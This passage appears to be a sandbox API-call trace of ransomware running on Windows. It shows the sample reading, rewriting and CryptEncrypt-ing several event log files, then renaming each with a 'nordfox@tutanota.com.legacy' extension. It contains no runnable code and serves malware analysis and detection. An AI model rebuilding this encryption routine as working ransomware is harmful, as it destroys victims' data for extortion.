(lpFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5647d8 [0088.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x582160 [0088.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5647d8 | out: hHeap=0x520000) returned 1 [0088.941] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.941] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.941] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.957] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.957] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.961] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.961] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.961] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.020] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.021] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.021] CloseHandle (hObject=0x460) returned 1 [0089.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0089.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0089.024] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0089.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0089.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564740 | out: hHeap=0x520000) returned 1 [0089.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0089.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0089.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0089.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0089.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0089.027] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0089.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0089.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0089.028] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.028] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.028] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.035] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.035] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.036] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.036] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.037] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.037] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.037] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.039] WriteFile (in: hFile=0x460, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.039] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.039] CloseHandle (hObject=0x460) returned 1 [0089.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0089.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0089.045] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0089.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0089.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0089.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0089.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0089.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0089.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0089.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0089.054] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0089.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ef80 [0089.055] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0089.055] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.055] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.055] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.066] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.067] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.067] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.067] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.068] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.070] WriteFile (in: hFile=0x460, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.071] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.071] CloseHandle (hObject=0x460) returned 1 [0089.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0089.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0089.073] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ef80 | out: hHeap=0x520000) returned 1 [0089.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0089.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0089.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x583e68 [0089.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0089.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0089.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0089.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0089.075] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x564740 [0089.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5647d8 [0089.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564740 | out: hHeap=0x520000) returned 1 [0089.076] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.076] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.076] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.109] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.109] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.109] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.111] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.113] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.113] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.113] CloseHandle (hObject=0x460) returned 1 [0089.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0089.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0089.121] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5647d8 | out: hHeap=0x520000) returned 1 [0089.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0089.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0089.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0089.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0089.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0089.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0089.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0089.125] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0089.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b4a8 [0089.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0089.126] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.126] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.126] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.138] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.138] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.142] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.142] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.142] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.147] WriteFile (in: hFile=0x460, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.148] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.148] CloseHandle (hObject=0x460) returned 1 [0089.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0089.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0089.153] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b4a8 | out: hHeap=0x520000) returned 1 [0089.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0089.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0089.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0089.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0089.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0089.156] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0089.156] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0089.156] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", dwFileAttributes=0x80) returned 1 [0089.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0089.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ba90 [0089.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0089.156] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.157] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.157] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.172] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.172] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.174] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.176] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.176] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.176] CryptEncrypt (in: 